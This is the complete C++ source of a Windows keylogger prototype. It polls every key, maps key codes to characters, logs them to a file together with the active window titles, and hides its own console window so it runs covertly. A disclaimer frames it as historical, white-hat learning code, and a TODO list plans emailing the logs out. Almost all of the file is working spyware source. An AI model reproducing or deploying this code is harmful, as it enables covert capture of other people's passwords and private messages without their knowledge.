C++ Prototype Keylogger

clogger.cpp

/*
Note: This is really old hacky inefficient code. I'm saving for historical purpouses.
More Info on this:  http://konukoii.com/blog/2016/08/18/capture-the-keys-chapter-1-clogger/

DISCLAIMER: THE AUTHOR DOES NOT CONDONE THE USE OF THIS PROGRAM FOR ANY
ILLEGAL OR OTHERWISE INTRUSIVE APPLICATION THAT MIGHT HARM OTHERS PRIVACY.
USE AT YOUR OWN RISK! NO WARRANTIES OR GUARANTIES ARE GIVEN FOR THIS PROGRAM.

WHAT THIS PROGRAM IS FOR:
->LEARNING TO USE THE WINDOWS HOOKS.
->MONITORING YOUR OWN COMPUTERS! (ENPHASIS ON THE OWN) 
->WHITE HAT KNOWLEDGE

AGAIN, DON'T DO ANYTHING STUPID & DON'T BE EVIL.
*/

#include <fstream>
#include <iostream>
#include <windows.h>
#include <Winuser.h>
#include <stdio.h>
#include <string>
#include <cstring>
using namespace std;

const bool DEBUG = false;            //Change this value to print output and bypass stealth 

int log(int key,char* file);        //Logs Keys into Files
int filter(int key);                //Filters Backspaces, Shift Hooks and other special ocurrances.
void stealth();                     //Detaches itself from the Console and runs hidden
bool hookShift();               //Activated after Shift is pressed. Makes sure to modify next character.
bool capsLock();
void savePrevWindow();
bool isSameWindow();
void print(string a);
void print(int a);
void backspaceHook();

//Global Variables//
//TELL ME THIS AIN'T CORRECT ONE MORE TIME! I DARE YOU! I DOUBLE DARE YOU MOTHERFUCKER!
CHAR windowName[80];
CHAR prevWindow[80];
bool possibleBackspace = false;
//bool shiftHooked = false;

int main() {
    if (!DEBUG){
        stealth();
    }
    
    
    
    unsigned char i;
    while (true) {
        for (i = 8; i <= 255; i++) {
            if (GetAsyncKeyState(i) == -32767){
                int a = log(i,"LOG.txt");
            }
        }
    }
    return 0;
}

int log(int key,char* file){
        
    
    //   Check for Trash //
    //   Left Click  | Right Click | Shift Byprod | CTRL Byprod  | ALT Byproduct| Cancel Butt | Middle Click
    if ( (key == 1) || (key == 2) || (key == 16) || (key == 17) || (key == 18) || (key == 3) || (key == 4) || (key == 37) ||
         (key == 38) || (key == 39) || (key == 40)){ 
        return 0;
    }
    
    //if (key == VK_BACK){
    //    backspaceHook();
    //    return 0;
    //}

    fstream outFile(file,ios::out | ios::app);

    //If it is not same window
    //Print window header name.
    if (!isSameWindow()){
        outFile << "\n\n */\n/*>>> " << windowName << endl;
        outFile << ">---------------------------------------------------\n\n";
    }
    
    savePrevWindow();
    
    
    //CHECK FOR SPECIAL CHARACTERS
    
    //SHIFT
    if (key == VK_LSHIFT || key == VK_RSHIFT ){
        print(" [SHIFT] ");
        //outFile << "[SHIFT]";
    }
    //ALT
    else if (key == VK_LMENU || key == VK_RMENU ){
        print(" [ALT] ");
        outFile << " [ALT] ";
    }
    //CTRL
    else if (key == VK_LCONTROL || key == VK_RCONTROL ){
        print(" [CTRL] ");
        outFile << " [CTRL] ";
    }
    //CAPSLOCK
    else if (key == VK_CAPITAL){
        print(" [CAPSLOCK] ");
        //outFile << "[SHIFT]";
    }
    //ANYTHING ELSE
    else {
        key = filter(key);
        print(key);
        outFile << (char) key;
    }
    
    outFile.close();
    
    return 0;
}

int filter(int key){
    //tienes que poner aca un if-then que checkee si shift esta o no pressed
    //IF IT IS CAPITAL LETTER
    if ((key >= 65) && (key <= 90)){
        //IF SHIFT IS  NOT HOOKED MAKE IT small
        //AND CAPSLOCK IS NOT ON.
        if( (!hookShift()) && (!capsLock()) ){
            key +=32; 
        }
    }
    //ELSE SI ES ALGUN NUMERO
    else if ((key >= 48) && (key <= 57)){
        if (hookShift()){
            switch(key) {
                case '1' : key = '!'; break;
                case '2' : key = '@'; break;
                case '3' : key = '#'; break;
                case '4' : key = '$'; break;
                case '5' : key = '%'; break;
                case '6' : key = '^'; break;
                case '7' : key = '&'; break;
                case '8' : key = '*'; break;
                case '9' : key = '('; break;
                case '0' : key = ')'; break;
            }
        }
    }
    //SI ES ALGUN EXTRA KEY Y ESTA HOOKED SHIFT
    if (hookShift()){
        if (key == 186){key = ':';}
        else if (key == 187){key = '+';}
        else if (key == 188){key = '<';}
        else if (key == 189){key = '_';}
        else if (key == 190){key = '>';}
        else if (key == 191){key = '?';}
        else if (key == 192){key = '~';}

        else if (key == 219){key = '{';}
        else if (key == 220){key = '|';}
        else if (key == 221){key = '}';}
        else if (key == 222){key = '"';}
    }
    //SI ES ALGUN EXTRA KEY Y NO ESTA HOOKED SHIFT
    else {
        if (key == 186){key = ';';}
        else if (key == 187){key = '=';}
        else if (key == 188){key = ',';}
        else if (key == 189){key = '-';}
        else if (key == 190){key = '.';}
        else if (key == 191){key = '/';}
        else if (key == 192){key = '~';}
        
        else if (key == 219){key = '[';}
        else if (key == 220){key = '\\';}
        else if (key == 221){key = ']';}
        else if (key == 222){key = '\'';}        
    }
    
    /*NUMPAD
    
    NUMPAD numbers hold same values for letters
    When decyphering messages take this into consideration.
    
    //NUMPAD (Intento 2)
    if (key == VK_NUMPAD0) {key = '0';}
    else if (key == VK_NUMPAD1) {key = '1';}
    else if (key == VK_NUMPAD2) {key = '2';}
    else if (key == VK_NUMPAD3) {key = '3';}
    else if (key == VK_NUMPAD4) {key = '4';}
    else if (key == VK_NUMPAD5) {key = '5';}
    else if (key == VK_NUMPAD6) {key = '6';}
    else if (key == VK_NUMPAD7) {key = '7';}
    else if (key == VK_NUMPAD8) {key = '8';}
    else if (key == VK_NUMPAD) {key = '9';}
    
    
    //NUMPAD  (Intento 1)
    if ((key >=96) && (key<=105)){key -=48;}
    else if (key == 110){key = '.';}    
    else if (key == 111){key = '/';}
    else if (key == 106){key = '*';}
    else if (key == 107){key = '+';}
    else if (key == 109){key = '-';}
    
    */
    
    return key;
}

bool capsLock(){
    if (GetKeyState(VK_CAPITAL) == 1){return true;}
    if (GetKeyState(VK_CAPITAL) == -127){return true;}
    return false;
}

bool hookShift(){
    
    //cout << "LEFT SHIFT: " << GetKeyState(VK_LSHIFT);
    //cout << "RIGHT SHIFT: " << GetKeyState(VK_RSHIFT) <<endl;
    //cout << "SHIFT:  ";
    //cout << "CAPITAL: " << GetKeyState(VK_CAPITAL) <<endl;
    
    if (GetKeyState(VK_LSHIFT) < -120){return true;}
    if (GetKeyState(VK_RSHIFT) < -120){return true;}
    
    return false;


}

void backspaceHook(){
    //fstream outFile(file,ios::out);
    //outFile.seekg(ios_base::end);
    
    
    
    
}

void stealth(){
    HWND stealth;   //Name of the Console 
    AllocConsole(); //Allocates New Console
    stealth = FindWindowA("ConsoleWindowClass", NULL);  //Finds Window
    MoveWindow(stealth,-300,-700,0,0,TRUE);             //Moves Window out of Sight
    ShowWindow(stealth,0);                              //Cloaks Window
    
    SetPriorityClass(GetCurrentProcess(),HIGH_PRIORITY_CLASS);
    
}

void savePrevWindow(){
    HWND hwnd=GetForegroundWindow();

    int test=GetWindowText(hwnd,prevWindow,80); 
}

bool isSameWindow(){

    HWND hwnd=GetForegroundWindow(); 
    int test=GetWindowText(hwnd,windowName,80);
    
    //char* CurrWin = (char*) windowName;
    //char* PrevWin = (char*) prevWindow;
    //cout << windowName << prevWindow;
    
    if (strcmp(windowName,prevWindow) == 0){
        return true;
    }
    else{ return false;}
}

void print(string a){
    if (DEBUG){
        cout << a << endl;
    }
}

void print(int a){
    if (DEBUG){
        cout << (char) a << " : " << (int) a << endl;
    }
}

/* TO BE DONE:
    BASICO:
    3. Other Control Buttons  (Evitar que escriban cosas al output)
    5. En debug borra el contenido del file
    
    6. Backspace hook.
    7. Signal Checking
    8. String Searching Can Immediatly separate whats important from what is not.
    9. Email Module with Blat/Stunnel (remember to open & close stunnel)

*/

/*DONE:
    1. Keys Basicos
    2. Nupad

*/